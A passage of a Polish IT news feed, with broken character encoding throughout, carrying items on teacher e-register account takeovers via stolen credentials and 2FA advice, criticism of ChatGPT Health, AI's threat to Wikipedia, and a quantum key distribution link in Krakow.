Od wczoraj w atakach na dzienniki szkolne kontaktujand#261;and#160;siand#281; z nami dziennikarze. Marcin udzieliand#322; wypowiedzi telewizji Polsat, a Piotra band#281;dziecie mogli posand#322;uchaand#263; w wiadomoand#347;ciach TVP. Dziennikarze z ktand#243;rymi rozmawialiand#347;my, posiadali informacje o kolejnych incydentach tego typu and#8212; wszystko wiand#281;c wskazuje na szerzej zakrojonand#261; akcjand#281;. Nie chodzi o jednand#261; szkoand#322;and#281;. Nie chodzi o jeden system elektronicznych dziennikand#243;w. Ministra edukacji Barbara Nowacka w wypowiedzi dla Radia Zet przyznaand#322;a, and#380;e do MEN dotarand#322;y informacje o trzech incydentach, ale naszym zdaniem po prostu nie wszystkie zostaand#322;y (jeszcze) do ministerstwa zgand#322;oszone.
To wina nauczycieli, niekoniecznie platformy
Wszystkie przypadki, o ktand#243;rych sand#322;yszeliand#347;my do momentu opublikowania tego tekstu, opieraand#322;y siand#281; naand#160;zalogowaniu na konto uand#380;ytkownika (nauczyciela). Nie chodzi wiand#281;c o and#8220;wand#322;amanie na serwery tego czy innego e-dziennikaand#8221;, ale o nieuprawnione logowanie siand#281; na konta okreand#347;lonych osand#243;b.
W tym miejscu przypomnimy, and#380;e w internecie regularnie publikowane sand#261; hasand#322;a wykradzione przez tzw. stealery. W tych bazach znajdujand#261; siand#281; dane pozwalajand#261;ce na dostand#281;p do kont nauczycieli korzystajand#261;cych z obu popularnych w Polsce platform e-dziennikand#243;w. Jednand#261; z takich baz opisaliand#347;my w artykule pt. and#8220;Wyciek, ktand#243;rego nie byand#322;oand#8221; and#8212; nie byand#322;o go w tym sensie, and#380;e nie byand#322; to wyciek z poszczegand#243;lnych serwisand#243;w, a z kradzieand#380; danych z zainfekowanych zand#322;oand#347;liwym oprogramowaniem komputerand#243;w samych uand#380;ytkownikand#243;w. Jeand#347;li jakiand#347; nauczyciel nie zmieniaand#322; hasand#322;a przez lata i/lub uand#380;ywaand#322; go w innych miejscach to prawdopodobieand#324;stwo przejand#281;cia jego konta na Librusie lub Vulcanie roand#347;nie.

Nie twierdzimy, and#380;e dane logowania byand#322;y pozyskane akurat z tej konkretnej bazy haseand#322;, ale wiele wskazuje, and#380;e zostaand#322;y pozyskane wand#322;aand#347;nie ze logand#243;w stealerand#243;w. Wydand#378;wiand#281;k poszczegand#243;lnych atakand#243;w jest na tyle rand#243;and#380;ny w sposobie, and#380;e naszym zdaniem caand#322;oand#347;and#263; zaczand#281;and#322;a siand#281;and#160;od pomysand#322;u, ktand#243;ry zostaand#322; opublikowany (np. na jakimand#347; forum), a nastand#281;pnie byand#322; realizowany przez kilka niezaleand#380;nych osand#243;b.
Co na to producenci e-dziennikand#243;w
Oczywiand#347;cie spytaliand#347;my o sprawand#281; dostawcand#243;w e-dziennikand#243;w. Jako pierwsza odpowiedziaand#322;a nam Katarzyna Korzeniewska z firmy Vulcan. Potwierdziand#322;a, and#380;e nie doszand#322;o do and#380;adnego and#8220;przeand#322;amania systemand#243;wand#8221; tego dostawcy, natomiast nieuprawnione logowania na konta uand#380;ytkownikand#243;w po prostu siand#281; zdarzajand#261;.

Nie posiadamy potwierdzonych informacji wskazujand#261;cych na skuteczne ataki z wykorzystaniem techniki tzw. password spraying wymierzone w nasze systemy. (and#8230;) Nie otrzymaliand#347;my zgand#322;oszeand#324; potwierdzajand#261;cych scenariusze takie jak masowe zmiany ocen, wysyand#322;anie wiadomoand#347;ci zawierajand#261;cych przemoc czy prand#243;by wyand#322;udzeand#324; realizowane w wyniku przeand#322;amania zabezpieczeand#324; systemowych.and#160;Zgand#322;oszenia, ktand#243;re sporadycznie do nas trafiajand#261;, dotyczand#261; pojedynczych kont uand#380;ytkownikand#243;wand#160;i w wiand#281;kszoand#347;ci przypadkand#243;w sand#261; efektem nieuprawnionego dostand#281;pu wynikajand#261;cego z naruszenia bezpieczeand#324;stwa danych uwierzytelniajand#261;cych po stronie uand#380;ytkownika (np. ujawnienia hasand#322;a osobom trzecim).

Agata Sitarska z Librus rand#243;wnieand#380; napisaand#322;a nam, and#380;e wedle wiedzy tej platformy, nie doszand#322;o nieautoryzowanych dostand#281;pand#243;w metodand#261; password spraying, czyli zautomatyzowanego ataku polegajand#261;cego na masowych prand#243;bach logowania danymi pochodzand#261;cymi z wyciekand#243;w. Ktoand#347; logowaand#322; siand#281;and#160;od razu na konkretne konta, co wspiera hipotezand#281; korzystania z logand#243;w stealera:

Do wand#322;amaand#324; doszand#322;o z wykorzystaniem loginu i hasand#322;a, ktand#243;re byand#322;y pozyskane przez atakujand#261;cych m.in. z upublicznionych baz danych z wyciekand#243;w (and#8230;) Przede wszystkim miaand#322;a miejsce wysyand#322;ka wiadomoand#347;ci and#8211; w tym obraand#378;liwych lub z linkami do zasoband#243;w zewnand#281;trznych. W pojedynczych przypadkach and#8211; byand#322;a to zmiany danych w e-dzienniku (gand#322;and#243;wnie ocen). Naleand#380;y jednak pamiand#281;taand#263;, and#380;e system posiada rejestry zmian, dlatego placand#243;wka jest w stanie zweryfikowaand#263; je i przywrand#243;ciand#263; dane do poprzedniego stanu, jeand#347;li zajdzie taka potrzeba. Wielokrotnie wysyand#322;aliand#347;my do uand#380;ytkownikand#243;w i dyrektorand#243;w szkand#243;and#322; informacje, o tym, dlaczego uwierzytelnianie dwuskand#322;adnikowe jest przez nas rekomendowane oraz proand#347;by o wand#322;and#261;czania i uand#380;ywanie tego rozwiand#261;zania. Administratorzy w szkoand#322;ach majand#261; narzand#281;dzia, ktand#243;rymi mogand#261; wymuszaand#263; odpowiednie polityki bezpieczeand#324;stwa, jak np. obowiand#261;zkowe stosowanie 2FA na kontach nauczycieli. Dodatkowo w ostatnim czasie zaimplementowaliand#347;my funkcjonalnoand#347;and#263;, ktand#243;ra weryfikuje hasand#322;a z bazami skompromitowanych haseand#322; i jeand#347;li hasand#322;o uand#380;ytkownika w nich wystand#281;puje and#8211; zachand#281;ca lub wymusza jego zmianand#281; (tu ponownie o tym, czy zmiana hasand#322;a jest obowiand#261;zkowa czy nie, decyduje szkoand#322;a jako administrator danych osobowych). Rand#243;wnieand#380; te dziaand#322;ania zostaand#322;y poprzedzone kampaniand#261; informacyjnand#261; do naszych klientand#243;w. Aleand#160;fakty sand#261; takie, and#380;e obecnie 18,63% nauczycieli korzysta z 2FA. Ten wskaand#378;nik wzrasta, ale bardzo powoli.

Jestem nauczycielem/rodzicem. Co robiand#263;? Jak and#380;yand#263;?
Po pierwsze, konta w e-dzienniku nie powinno byand#263; zabezpieczone prastarym hasand#322;em, ktand#243;rego uand#380;ywamy od lat w wielu miejscach, ale przede wszystkim wand#322;and#261;czcie sobieand#160;logowanie dwuskand#322;adnikowe (2FA).

W systemie Librus nauczyciel musi zainstalowaand#263; aplikacjand#281; Librus Nauczyciel aby mand#243;c wand#322;and#261;czyand#263; 2FA. Inna opcja to korzystanie z 10 kodand#243;w awaryjnych, ktand#243;re generujand#261;and#160;siand#281;and#160;podczas wand#322;and#261;czenia 2FA (ale te trzeba regenerowaand#263; po skoand#324;czeniu). Jak informuje nas Librus: and#8220;Optymalnym rozwiand#261;zaniem z punktu widzenia bezpieczeand#324;stwa sand#261; sprzand#281;towe klucze U2F, jednak ze wzgland#281;du na brak ich dostand#281;pnoand#347;ci w placand#243;wkach oand#347;wiatowych, zastosowano rozwiand#261;zania moand#380;liwe do wdroand#380;enia przez wszystkich uand#380;ytkownikand#243;w.and#8220;and#8230; Szczegand#243;and#322;y konfiguracji 2FA na stronieand#160;Pomocy Librus. Warto wiedzieand#263;, and#380;e dodatkowe potwierdzenie toand#380;samoand#347;ci za pomocand#261; drugiego skand#322;adnika nie band#281;dzie wymagane, jeand#380;eli podczas logowania na danym urzand#261;dzeniu uand#380;ywana przegland#261;darka internetowa zostaand#322;a dodana jako zaufana. Jeand#347;li z tego komputera korzystajand#261;and#160;dzieci (albo inne cybernicponie, to lepiej jej nie zapamiand#281;tywaand#263;).
W systemie Vulcan jest jeszcze bezpieczniej. Dostand#281;pne jest logowanie za pomocand#261; klucza. Tand#281; roland#281; moand#380;e peand#322;niand#263; komputer lub laptop z systememand#160;Windows 11,and#160;macOS Venturaand#160;luband#160;ChromeOS,and#160;telefon komand#243;rkowyand#160;z systememand#160;Android 9/iOS16 lub nowszym albo klucz bezpieczeand#324;stwa lub karta inteligentna obsand#322;ugujand#261;ce protokand#243;and#322; FIDO2 (np. YubiKey 5 Series). Szczegand#243;and#322;y na stronieand#160;eduVulcan.

Niezaleand#380;nie od uand#380;ywanej metody logowania powinniand#347;my pamiand#281;taand#263;, and#380;e konta innych osand#243;b w systemie zarand#243;wno e-dziennika jak i innych and#8220;grup rodzicielskichand#8221; w innych serwisach mogand#261; zostaand#263; przejand#281;te. Dlatego wszelkie proand#347;by o wpand#322;aty lub np. przesand#322;anie/udostand#281;pnienie danych powinny byand#263; potwierdzone innym kanaand#322;em, zanim zdecydujemy siand#281; zadziaand#322;aand#263; tak, jak sugeruje siand#281;and#160;nam w otrzymanej przez e-dziennik wiadomoand#347;ci. W razie wand#261;tpliwoand#347;ci pamiand#281;tajmy, and#380;e telefoniczna droga kontaktu ze szkoand#322;and#261; ciand#261;gle istnieje.
Aktualizacja 20.01.2026 15:50 Uzupeand#322;niliand#347;my tekst o wymogi, jakie muszand#261; speand#322;niand#263; nauczyciele, aby mand#243;c wand#322;and#261;czyand#263;and#160;2FA w Librusie. Czekamy jeszcze na odpowiedand#378;and#160;od Vulcana w tej kwestii, poniewaand#380; pojawiajand#261;and#160;siand#281; gand#322;osy, and#380;e akurat nauczyciele nie mogand#261;and#160;skorzystaand#263;and#160;z kluczy U2F jako metody 2FA.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 20 stycznia 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Sztuczna inteligencja nie może zastąpić konsultacji lekarskich ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1605</link>
			<description><![CDATA[ Firma OpenAI zaprezentowaand#322;a w styczniu nowy moduand#322; ChatGPT, ktand#243;ry ma m.in. analizowaand#263; wyniki badaand#324; krwi na podstawie dokumentacji medycznej. Uand#380;ytkownicy nie powinni mieand#263; jednak przekonania, and#380;e uzyskajand#261; diagnozand#281; od ChatGPT and#8211; powiedziaand#322;a PAP liderka AI w Zdrowiu Ligia Kornowska.


Open AI zaprezentowaand#322;a nowand#261; funkcjand#281; do poszukiwania informacji na temat zdrowia. Band#281;dzie znana uand#380;ytkownikom pod nazwand#261; ChatGPT Health. Moduand#322; ma byand#263; dostand#281;pny w menu paska bocznego chatbota i band#281;dzie udzielaand#263; informacji w oparciu o przesand#322;anand#261; przez uand#380;ytkownika dokumentacjand#281; medycznand#261;. Funkcja oferuje m.in. analizy wynikand#243;w badaand#324; krwi i sugestie and#380;ywieniowe.
Wedand#322;ug Open AI to odpowiedand#378; na spoand#322;eczne zapotrzebowanie. Ze styczniowego raportu Open AI and#8222;AI as a Healthcare Allyand#8221; wynika bowiem, and#380;e do ChatGPT zwraca siand#281; codziennie ponad 40 milionand#243;w uand#380;ytkownikand#243;w z pytaniami dotyczand#261;cymi opieki zdrowotnej, a ponad 5 proc. wszystkich wiadomoand#347;ci z asystentem AI dotyczy tematu opieki zdrowotnej.
Zajmujand#261;ca siand#281; tematem wykorzystania AI w kwestiach zdrowotnych Ligia Kornowska, liderka koalicji and#8222;AI w Zdrowiuand#8221;, zwraca uwagand#281; na zwiand#261;zane z tym niebezpieczeand#324;stwa.
and#8211; Jeand#347;li algorytm sztucznej inteligencji ma bezpoand#347;rednio wpand#322;ywaand#263; na decyzje diagnostyczno-lecznicze u pacjenta, to powinien byand#263; zgodny z regulacjami prawnymi dotyczand#261;cymi wyroband#243;w medycznych czy tzw. algorytmand#243;w wysokiego ryzyka and#8211; powiedziaand#322;a ekspertka. I to niezaleand#380;nie od tego, czy z systemu korzysta pacjent, czy lekarz.
and#8211; W sytuacjach, kiedy algorytm nie jest certyfikowanym wyrobem medycznym, tak jak jest to w przypadku ChatGPT Health, tak naprawdand#281; nie wiemy, czy ten algorytm poda pacjentowi dobre informacje, czy wprowadzi go w band#322;and#261;d and#8211; zauwaand#380;yand#322;a Kornowska.
Wedand#322;ug niej taka certyfikacja pozwala dostarczyand#263; informacji na temat tego, na ile algorytm jest skuteczny i czuand#322;y, a takand#380;e z jakim prawdopodobieand#324;stwem powie uand#380;ytkownikom prawdand#281;, a z jakim moand#380;e wprowadziand#263; ich w band#322;and#261;d.
W opinii Kornowskiej zakres uand#380;ycia ChatGPT-Zdrowie powinien byand#263; wiand#281;c na razie ograniczony do celand#243;w edukacyjnych. Powinien zawieraand#263; informacjand#281;, and#380;e kaand#380;dand#261; wiadomoand#347;and#263;, ktand#243;rand#261; chat przekazuje, trzeba zweryfikowaand#263; samodzielnie. Rand#243;wnieand#380; pacjenci and#8211; jak mand#243;wiand#322;a liderka and#8222;AI w Zdrowiuand#8221; and#8211; nie powinni byand#263; wprowadzani w przekonanie, and#380;e uzyskajand#261; diagnozand#281; od tego asystenta AI. and#8211; W takim kontekand#347;cie ChatGPT na pewno nie zastand#261;pi konsultacji lekarskiej and#8211; podkreand#347;liand#322;a.
Firma OpenAI zaprezentowaand#322;a rand#243;wnieand#380; zestaw narzand#281;dzi dla organizacji medycznych and#8222;OpenAI for Healthcareand#8221;. Ma on oferowaand#263; m.in. pomoc w pracy administracyjnej, czyli tworzyand#263; podsumowania wypisand#243;w, zaleceand#324; dla pacjentand#243;w i listand#243;w klinicznych. Z takich narzand#281;dzi majand#261; juand#380; korzystaand#263; amerykaand#324;skie instytucje i placand#243;wki, jak AdventHealth czy Boston Childrenand#8217;s Hospital.
Kornowska zwrand#243;ciand#322;a jednak uwagand#281;, and#380;e sfera ochrony danych osobowych, szczegand#243;lnie tych wraand#380;liwych, regulowana jest inaczej w Unii Europejskiej, a inaczej w Stanach Zjednoczonych. and#8211; Korzystajand#261;c z narzand#281;dzia pochodzand#261;cego z USA, trzeba siand#281; upewniand#263;, and#380;e speand#322;nia ono regulacje unijne, takie jak rozporzand#261;dzenie ogand#243;lne o danych osobowych RODO and#8211; zaznaczyand#322;a ekspertka.
Na problemy zwiand#261;zane z korzystaniem z porad medycznych asystentand#243;w AI zwrand#243;ciand#322; rand#243;wnieand#380; ostatnio uwagand#281; brytyjski dziennik and#8222;The Guardianand#8221;. Styczniowe and#347;ledztwo dziennika wykazaand#322;o, and#380;e podsumowania generowane przez AI wyszukiwarki Google podawaand#322;y nieand#347;cisand#322;e informacje zdrowotne. Miaand#322;y one dotyczyand#263; m.in. kluczowych badaand#324; czynnoand#347;ci wand#261;troby. Wedand#322;ug and#8222;Guardianaand#8221; na podstawie tych informacji osoby z powaand#380;nymi chorobami tego narzand#261;du mogand#322;yby band#322;and#281;dnie uwaand#380;aand#263;, and#380;e sand#261; zdrowe.
Rzecznik Google, zapytany przez brytyjski dziennik, odpowiedziaand#322;, and#380;e firma nie komentuje pojedynczych usuniand#281;and#263; w wyszukiwarce. and#8222;W przypadkach, gdy funkcje AI Overviews nie uwzgland#281;dniajand#261; kontekstu, pracujemy nad wprowadzeniem szeroko zakrojonych ulepszeand#324; i w razie potrzeby podejmujemy dziaand#322;ania zgodnie z naszymi zasadamiand#8221; and#8211; wyjaand#347;niaand#322;.
Kontrowersje wzbudziand#322; rand#243;wnieand#380; wpand#322;yw chatbotand#243;w na zdrowie psychiczne uand#380;ytkownikand#243;w. W sierpniu ub. r. and#347;wiat obiegand#322;a informacja o pozwaniu do sand#261;du firmy OpenAI w zwiand#261;zku z samoband#243;jczand#261; and#347;mierciand#261; 14-letniego Adama z Kalifornii. Jego rodzice twierdzili, and#380;e ChatGPT zachand#281;caand#322; go do odebrania sobie and#380;ycia.
W listopadzie ub.r. agencja Associated Press informowaand#322;a, and#380;e do firmy OpenAI trafiand#322;o w sumie siedem podobnych pozwand#243;w. Twierdzono w nich, and#380;e ChatGPT doprowadziand#322; do samoband#243;jstw i szkodliwych urojeand#324; u osand#243;b, ktand#243;re wczeand#347;niej nie miaand#322;y problemand#243;w psychicznych.
W odpowiedzi OpenAI zadeklarowaand#322;o, and#380;e zostaand#322;y wdroand#380;one zabezpieczenia w przypadkach, gdy rozmowy z ChatGPT dotyczyand#322;y tematand#243;w draand#380;liwych. and#8222;Stale udoskonalamy szkolenia ChatGPT, aby rozpoznawaand#263; i reagowaand#263; na oznaki stresu psychicznego lub emocjonalnego, and#322;agodziand#263; napiand#281;cia w rozmowach i kierowaand#263; ludzi do realnego wsparciaand#8221; and#8211; napisaand#322;a firma.
Weronika Moszpaand#324;ska (PAP) ]]></description>
		</item><item>
			<title><![CDATA[ Wikipedia jest bardzo zagrożona przez AI ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1604</link>
			<description><![CDATA[ Wikipedia jest bardzo zagroand#380;ona przez AI, co jest o tyle paradoksalne, and#380;e nawet 15 proc. danych wejand#347;ciowych do wiand#281;kszoand#347;ci duand#380;ych modeli jand#281;zykowych pochodzi wand#322;aand#347;nie z tej encyklopedii internetowej and#8211; powiedziaand#322; PAP wykand#322;adowca Akademii Leona Koand#378;miand#324;skiego i wiceprezes PAN prof. Dariusz Jemielniak.


W czwartek, 15 stycznia 2026 r., angielska wersja Wikipedii, ktand#243;ra powstaand#322;a jako pierwsza, obchodziand#322;a 25. rocznicand#281; swojego istnienia. Na and#347;wiecie korzystajand#261; z niej co miesiand#261;c miliony osand#243;b, a jej polska wersja funkcjonuje od wrzeand#347;nia 2001 r.
and#8211; Po pierwsze ludzie preferujand#261; wygodne, szybkie odpowiedzi and#8211; nawet jeand#347;li sand#261; czasem zmyand#347;lone i bez and#378;rand#243;deand#322;, jak w przypadku LLM-and#243;w and#8211; od odpowiedzi, ktand#243;re wymagajand#261; od nich poszukania w encyklopedii and#8211; tand#322;umaczyand#322; prof. Jemielniak. Dodaand#322;, and#380;e kolejne ryzyko dla Wikipedii wynika z tego, and#380;e internauci nie korzystajand#261; z niej bezpoand#347;rednio, co sprawia, and#380;e dany uand#380;ytkownik nie przyczyni siand#281; do wzbogacenia tego projektu artykuand#322;em i nie and#8222;wyedytujeand#8221; istniejand#261;cego tekstu. Jego zdaniem moand#380;e to wpand#322;ynand#261;and#263; na pogorszenie siand#281; tej internetowej encyklopedii, a w dalszej kolejnoand#347;ci doprowadziand#263; do popsucia modeli AI, ktand#243;re z niej czerpiand#261;.
Zapytany o to, jak Wikipedii moand#380;na pomand#243;c, prof. Jemielniak wymieniand#322; m.in. zaangaand#380;owanie siand#281; w pisanie artykuand#322;and#243;w i poprawianie istniejand#261;cych czy teand#380; wpand#322;acanie na rzecz Wikimedia Foundation (fundacja zarzand#261;dzajand#261;ca Wikipediand#261;). and#8211; Moand#380;na rozwaand#380;yand#263; przekazanie tego 1,5 proc. na Stowarzyszenie Wikimedia Polska and#8211; zaznaczyand#322;. Dodaand#322;, and#380;e naleand#380;y naciskaand#263; na and#347;rodowisko akademickie i ministerstwo, and#380;eby and#8222;realnie zaczand#281;li postrzegaand#263; tworzenie Wikipedii jako bardzo wartoand#347;ciowand#261; dziaand#322;alnoand#347;and#263;and#8221;.
Poproszony o reakcjand#281; na czwartkowand#261; wiadomoand#347;and#263; o podpisaniu przez Wikipediand#281; umand#243;w licencyjnych z szeregiem firm oferujand#261;cych modele jand#281;zykowe, np. Amazonem, prof. Jemielniak oceniand#322;, and#380;e jest to bardzo dobra informacja. and#8211; Prand#243;bowaliand#347;my przez dand#322;ugi czas przekonaand#263; te wszystkie duand#380;e firmy, and#380;e powinny pand#322;aciand#263; jakieand#347; licencyjne opand#322;aty na rzecz Wikimedia Foundation and#8211; wyjaand#347;niand#322; profesor, ktand#243;ry byand#322; przez trzy kadencje czand#322;onkiem rady powierniczej tej fundacji.
Zaznaczyand#322;, and#380;e wymagaand#322;o to dosyand#263; zand#322;oand#380;onych negocjacji, poniewaand#380; dla tych firm nie byand#322;o oczywiste, and#380;e powinny pand#322;aciand#263; za dostand#281;p do Wikipedii. Jak przekazaand#322;a w czwartek Associated Press, Wikipedia podpisaand#322;a umowy licencyjne z firmami: Amazon, Meta Platforms, Perplexity, Microsoft i z francuskand#261; Mistral AI. Nie zostaand#322; wymieniony jeden z najwaand#380;niejszych graczy, jakim jest OpenAI and#8211; twand#243;rca popularnego ChatGPT.
Profesor przyznaand#322;, and#380;e widaand#263; spadek odsand#322;on Wikipedii ze wzgland#281;du na popularyzacjand#281; AI, ale zastrzegand#322;, and#380;e problem jest bardziej zand#322;oand#380;ony i trudno to udowodniand#263;. and#8211; Jak pan mierzy same odsand#322;ony Wikipedii, to nie do koand#324;ca pokazuje to peand#322;en obraz, poniewaand#380; ruch botand#243;w siand#281; takand#380;e zwiand#281;kszyand#322; and#8211; powiedziaand#322;. and#8211; Moja hipoteza jest taka, and#380;e ten ruch niestety jednak odpand#322;ywa od Wikipedii and#8211; dodaand#322;.
W artykule w magazynie naukowym and#8222;Natureand#8221; opublikowanym z okazji 25-lecia Wikipedii prof. Jemielniak napisaand#322;, odnoszand#261;c siand#281; do tej internetowej encyklopedii, and#380;e and#8222;my, akademicy, ktand#243;rzy uwaand#380;amy siand#281; za straand#380;nikand#243;w wiedzy, zrzekliand#347;my siand#281; naszej odpowiedzialnoand#347;ci za to, co jest prawdopodobnie najczand#281;and#347;ciej konsultowanym i cytowanym dzieand#322;em na and#347;wiecieand#8221;.
and#8211; Jest mnand#243;stwo stereotypand#243;w i jeand#347;li sand#261; profesorowie, ktand#243;rzy wyrobili sobie opiniand#281; negatywnand#261;, to oni prawdopodobnie zdania nie zmieniand#261;. Natomiast to siand#281; zmienia organicznie, wchodzand#261; nowe pokolenia, ktand#243;re zaczynajand#261; rozumieand#263;, and#380;e Wikipedia jakoand#347;and#263; ma nie gorszand#261; niand#380; and#378;rand#243;dand#322;a profesjonalne and#8211; wyjaand#347;niand#322;. Dodaand#322;, and#380;e pojawia siand#281; wiele badaand#324;, ktand#243;re tego dowodzand#261;.
Wiceprezes PAN zwrand#243;ciand#322; uwagand#281;, and#380;e instytucje powinny zmieniand#263; sposoby dziaand#322;ania. and#8211; Chociaand#380;by uczelnie powinny zaczand#261;and#263; doceniaand#263; pracand#281; nad Wikipediand#261; jako popularyzacjand#281; wiedzy and#8211; zaznaczyand#322;.
Jego zdaniem to politycy rand#243;wnieand#380; powinni narzuciand#263; zmiany. and#8211; Jak teraz pani minister Karolina Zioand#322;o-Puand#380;uk (wiceminister nauki and#8211; PAP) mand#243;wi, and#380;e w ewaluacji nauki band#281;dzie ceniona popularyzacja, to ja siand#281; pytam, co moand#380;e byand#263; lepszego niand#380; popularyzacja w postaci tworzenia najwiand#281;kszego zbioru ludzkiej wiedzy? and#8211; oceniand#322; prof. Jemielniak. Jego zdaniem ma to wiand#281;kszand#261; wartoand#347;and#263; niand#380; tworzenie sobie bloga czy np. konta na TikToku.
and#8211; Dziand#281;ki Wikipedii mamy sumand#281; ludzkiej wiedzy dostand#281;pnand#261; za darmo. To wydawaand#322;oby siand#281; dla osand#243;b mand#322;odszych rzeczand#261; prostand#261;, ale u poczand#261;tkand#243;w Wikipedii nie byand#322;o to oczywiste and#8211; przypomniaand#322;. Profesor wyjaand#347;niand#322;, and#380;e and#8222;to, co Wikipedia zmieniand#322;a, to po prostu spowodowaand#322;a, and#380;e wiedza encyklopedyczna staand#322;a siand#281; darmowa i ogand#243;lnodostand#281;pna, co zwand#322;aszcza w (paand#324;stwach) Globalnego Poand#322;udnia ma ogromne znaczenieand#8221;.
Prof. Jemielniak przyznaand#322;, and#380;e Wikipedia jest nieco anachroniczna. and#8211; Trudno powiedzieand#263;, czy Wikipedia przetrwa. Moja hipoteza byand#322;aby taka, and#380;e w jakiejand#347; formie przetrwa na pewno (and#8230;), natomiast mam obawy, and#380;e nie band#281;dzie tak popularna, jak jest obecnie and#8211; wyjaand#347;niand#322; i dodaand#322;, and#380;e moand#380;e to byand#263; na tej samej zasadzie, co rury z ciepand#322;and#261; wodand#261; and#8211; niekoniecznie nas ekscytuje, kto je produkuje, ale ciepand#322;and#261; wodand#281; chcemy mieand#263;.
Antoni Wiand#347;niewski-Mischal (PAP) ]]></description>
		</item><item>
			<title><![CDATA[ Cyfronet AGH i urząd miasta uruchomiły nowoczesny system cyberbezpieczeństwa ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1603</link>
			<description><![CDATA[ Urzand#261;d Miasta Krakowa uzyskaand#322; najbezpieczniejsze moand#380;liwe poand#322;and#261;czenie z centrum obliczeniowym Akademickiego Centrum Komputerowego Cyfronet AGH dziand#281;ki wdroand#380;eniu przez tand#281; instytucjand#281; naukowand#261; technologii kwantowej dystrybucji klucza.


Jak poinformowaand#322;y w czwartek obydwie instytucje, technologia kwantowej dystrybucji kluczy szyfrujand#261;cych (QKD - Quantum Key Distribution) to jedna z najnowoczeand#347;niejszych technologii kryptograficznych. Wykorzystuje prawa mechaniki kwantowej, by tworzyand#263; i przesyand#322;aand#263; klucze szyfrujand#261;ce.
Jej wyjand#261;tkowoand#347;and#263; polega na tym, and#380;e kaand#380;da prand#243;ba przechwycenia transmisji automatycznie niszczy klucz i uruchamia alarm. Klucze sand#261; generowane w czasie rzeczywistym, co eliminuje potrzeband#281; ich przechowywania i zapewnia maksymalny poziom ochrony.
Specjaliand#347;ci z ACK Cyfronet AGH zaprojektowali, zbudowali i uruchomili system kwantowej dystrybucji kluczy szyfrujand#261;cych pomiand#281;dzy Urzand#281;dem Miasta Krakowa a Cyfronetem AGH. Umoand#380;liwia on przesyand#322;anie kluczy szyfrujand#261;cych, wykorzystywanych do zabezpieczania and#322;and#261;cza sieciowego o przepustowoand#347;ci 100 Gbps (gigabitand#243;w na sekundand#281;).
Karol Krawentek, zastand#281;pca dyrektora ACK Cyfronet AGH ds. Infrastruktury Centrum Danych wyjaand#347;niand#322; w czwartek, and#380;e dziand#281;ki wdroand#380;eniu moand#380;liwe jest bezpieczne przesyand#322;anie danych miand#281;dzy instytucjami, m.in. w celu archiwizacji, wymiany baz danych, analizy danych czy wzbogacania treand#347;ci serwisand#243;w informacyjnych Urzand#281;du Miasta Krakowa.
Prezydent Krakowa Aleksander Miszalski zwrand#243;ciand#322; uwagand#281;, and#380;e wprowadzenie nowego rozwiand#261;zania to efekt listu intencyjnego ws. wspand#243;and#322;pracy w dziedzinie cyberbezpieczeand#324;stwa podpisanego przez krakowski magistrat i Akademiand#281; Gand#243;rniczo-Hutniczand#261; w maju zeszand#322;ego roku.
- To nie jest projekt na dziand#347;, ale inwestycja w bezpieczeand#324;stwo Krakowa na dekady (and#8230;). Dziand#347; pokazujemy, and#380;e potrafimy przejand#347;and#263; od deklaracji do konkretnych, przeand#322;omowych wdroand#380;eand#324;. Kwantowa dystrybucja kluczy to najwyand#380;szy moand#380;liwy standard ochrony danych, oparty na prawach fizyki, a nie na kompromisach - podkreand#347;liand#322; Miszalski.
Wedand#322;ug specjalistand#243;w z AGH kwantowa dystrybucja klucza to technologia zabezpieczeand#324;, ktand#243;ra znaczand#261;co wyprzedza obecne standardy. Technologia bazuje na zabezpieczonej kwantowo komunikacji pary urzand#261;dzeand#324;.
Po stronie Cyfronetu jedno urzand#261;dzenie generuje klucze za pomocand#261; kwantowego generatora liczb losowych. Klucze sand#261; nastand#281;pnie przekazywane do szyfratora, ktand#243;ry szyfruje poand#322;and#261;czenie pomiand#281;dzy urzand#281;dem miasta a Cyfronetem. Po stronie krakowskiego magistratu znajduje siand#281; drugie urzand#261;dzenie, odbierajand#261;ce klucze i przekazujand#261;ce je do lokalnego szyfratora, ktand#243;ry odpowiada za szyfrowanie i rozkodowanie danych po stronie urzand#281;du.
Zdaniem specjalistand#243;w technologia kwantowej dystrybucji kluczy szyfrujand#261;cych jest uznawana za niemoand#380;liwand#261; do zand#322;amania. Bazuje na prawach fizyki, a nie na matematycznych zabezpieczeniach. Oznacza to, and#380;e prand#243;ba podsand#322;uchu lub kopiowania klucza natychmiast go niszczy lub znieksztaand#322;ca, tym samym wykrywana jest obecnoand#347;and#263; kogoand#347;, kto chce przejand#261;and#263; przesyand#322;anand#261; wiadomoand#347;and#263; czy dane. W odrand#243;and#380;nieniu od klasycznego szyfrowania, klucz nie istnieje jako obiekt, ktand#243;ry moand#380;na skopiowaand#263;, ale jest generowany i przesyand#322;any w sposand#243;b zaleand#380;ny od zasad mechaniki kwantowej, eliminujand#261;c w ten sposand#243;b moand#380;liwoand#347;and#263; jego przechwycenia bez wykrycia.
Jak zapowiedziano, stworzona przez specjalistand#243;w z Cyfronetu infrastruktura ochrony przesyand#322;anych danych dodatkowo poszerza usand#322;ugi oferowane przez tand#281; jednostkand#281; dla and#347;rodowiska akademickiego i przedsiand#281;biorcand#243;w.
- Dbajand#261;c o bezpieczeand#324;stwo przetwarzanych danych, poand#322;and#261;czenie QKD utworzono rand#243;wnieand#380; pomiand#281;dzy gand#322;and#243;wnym i zapasowym centrum danych Cyfronetu. Majand#261;c na uwadze wspand#243;and#322;dzielenie zasoband#243;w obliczeniowych naszych superkomputerand#243;w Ares, Athena i Helios, a takand#380;e systemand#243;w pamiand#281;ci masowych, bardzo waand#380;ne jest, aby dane przesyand#322;ane miand#281;dzy dwiema lokalizacjami posiadaand#322;y najwyand#380;szy moand#380;liwy poziom zabezpieczeand#324; and#8211; podkreand#347;liand#322; zastand#281;pca dyrektora ACK Cyfronet AGH.
